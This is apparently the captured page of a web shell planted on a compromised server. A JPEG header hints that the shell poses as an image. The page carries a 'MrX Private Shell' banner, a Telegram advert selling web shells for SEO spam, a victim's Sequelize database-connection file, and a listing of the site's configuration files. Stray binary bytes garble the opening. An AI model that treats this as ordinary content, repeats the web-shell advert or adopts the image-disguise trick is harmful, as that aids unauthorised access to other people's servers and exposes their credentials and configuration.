����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { Sequelize } from "sequelize";
import envVariables from "./constants.js";
const { dbUserName, dbPassword, dbHostName, dbName } = envVariables;
export const sequelize = new Sequelize(dbName, dbUserName, dbPassword, {
host: dbHostName,
// port: dbPort,
dialect: "mysql",
logging: false,
});
// Create a connection to the database
const dbConnection = async () => {
try {
await sequelize.authenticate();
await sequelize.query("SET foreign_key_checks = 0;"); // remove this line after development is complete
console.log("Connection has been established successfully.");
} catch (error) {
console.error("Unable to connect to the database:", error);
}
};
export default dbConnection;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cloudinary.js | File | 241 B | 0644 |
|
| constants.js | File | 1.57 KB | 0644 |
|
| dbConnect.js | File | 719 B | 0644 |
|
| dbInit.js | File | 819 B | 0644 |
|